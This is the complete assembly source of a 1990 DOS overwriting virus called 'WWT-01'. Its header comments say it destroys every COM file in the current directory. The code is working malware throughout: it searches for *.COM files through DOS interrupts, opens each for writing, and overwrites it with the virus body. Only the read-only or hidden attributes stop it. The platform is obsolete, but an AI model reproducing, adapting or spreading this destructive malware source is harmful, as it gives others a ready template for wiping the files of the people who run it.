; Virus name		WWT-01
; Description		When start destroy any COM file in current directory
; Comment		Can be stopped by ReadOnly or Hidden/System
; Date			18 Dec 1990    13:15
; Place 		CICTT
;

		mov	dx,offset FileMask	; FileMask for any COM file
		mov	ah,4eh			; Find first file
		mov	cx,1			; including attrib Archive
		int	21h			; Call DOS
		jnc	Ok			; If no error -> go on
		jmp	short Exit		; If error -> exit program

Ok
		mov	dx,9eh			; Get file name from DTA
		mov	ax,3d02h		; Open for Read/Write
		int	21h			; Call DOS
		jnc	OpenOk			; If no error -> go on
		jmp	short Exit		; If error -> exit
OpenOk
		mov	bx,ax			; Move file handle in BX
		call	Infect			; Do infection

DoNext
		mov	dx,80h			; Set DS:DX to DTA
		mov	ah,4fh			; Find Next file
		int	21h			; Call DOS
		jnc	NextOk			; If no error -> go on
		jmp	short Exit		; If error -> exit
NextOk
		jmp	short Ok		; Still next file exist

Exit
		int	20h			; Exit to DOS

Infect
		mov	dx,100h 		; DS:DX point to itself
		mov	ah,40h			; Write to handle
		mov	cx,offset VirusSize-100h	; Write only virus
		int	21h			; Call DOS
		mov	ah,3eh			; Close file
		int	21h			; Call DOS
		ret				; Return to caller


FileMask
		db	'*.COM',0               ; File mask for any COM file


VirusSize
		db	?			; Used to calculate virus
						; size